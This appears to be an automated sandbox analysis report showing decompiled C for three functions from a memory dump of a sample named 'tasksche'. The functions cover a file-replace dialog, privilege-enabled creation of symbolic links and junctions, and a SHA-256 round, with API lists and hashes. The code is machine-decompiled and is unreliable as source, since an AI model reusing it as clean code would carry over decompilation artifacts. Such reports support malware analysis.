Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

%s %s, xrefs: 0040E07C, 0040E183
%s %s %s, xrefs: 0040E003, 0040E124
REPLACEFILEDLG, xrefs: 0040DE76

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

SeRestorePrivilege, xrefs: 00406927
SeCreateSymbolicLinkPrivilege, xrefs: 00406931
\??\, xrefs: 00406993
UNC\, xrefs: 004069B5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
